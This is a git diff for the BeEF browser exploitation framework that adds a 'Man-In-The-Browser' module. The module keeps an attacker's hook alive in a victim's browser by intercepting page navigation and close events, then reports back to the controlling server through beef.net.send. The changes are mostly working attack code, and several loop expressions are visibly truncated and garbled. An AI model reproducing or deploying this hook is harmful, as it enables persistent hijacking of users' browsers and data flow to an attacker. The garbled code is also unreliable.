diff --git a/core/main/client/beef.js b/core/main/client/beef.js index f03954f7b..b659706c4 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -31,6 +31,12 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { // This get set to true during window.onload(). It's a useful hack when messing with document.write(). pageIsLoaded: false, + // An array containing functions to be executed by the window.onpopstate() method. + onpopstate: new Array(), + + // An array containing functions to be executed by the window.onclose() method. + onclose: new Array(), + // An array containing functions to be executed by Beef. commands: new Array(), diff --git a/core/main/client/init.js b/core/main/client/init.js index 630daa6eb..c5f1bc6c0 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -28,6 +28,36 @@ window.onload = function() { beef_init(); } +window.onpopstate = function(event) { + if(beef.onpopstate.length > 0) { + event.preventDefault; + for(var i=0;i 0) { + event.preventDefault; + for(var i=0;i0 && i", <%= @command_id %>, "Browser hooked."); + beef.mitb.init("<%= @command_url %>", <%= @command_id %>); + var MITBload = setInterval(function(){ + if(beef.pageIsLoaded){ + clearInterval(MITBload); + beef.mitb.hook(); + } + }, 100); + }catch(e){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Failed to hook browser: " + e.message); + } +}); \ No newline at end of file diff --git a/modules/browser/man_in_the_browser/config.yaml b/modules/browser/man_in_the_browser/config.yaml new file mode 100644 index 000000000..c0445edec --- /dev/null +++ b/modules/browser/man_in_the_browser/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + man_in_the_browser: + enable: true + category: "Browser" + name: "Man-In-The-Browser" + description: "This module will use a Man-In-The-Browser attack to ensure that the BeEF hook will stay until the user leaves the domain." + authors: ["mathias"] + target: + working: ["ALL"] + not_working: ["IE"] diff --git a/modules/browser/man_in_the_browser/module.rb b/modules/browser/man_in_the_browser/module.rb new file mode 100644 index 000000000..ed645e726 --- /dev/null +++ b/modules/browser/man_in_the_browser/module.rb @@ -0,0 +1,23 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +class Man_in_the_browser < BeEF::Core::Command + + def post_execute + save({'result' => @datastore['result']}) + end + +end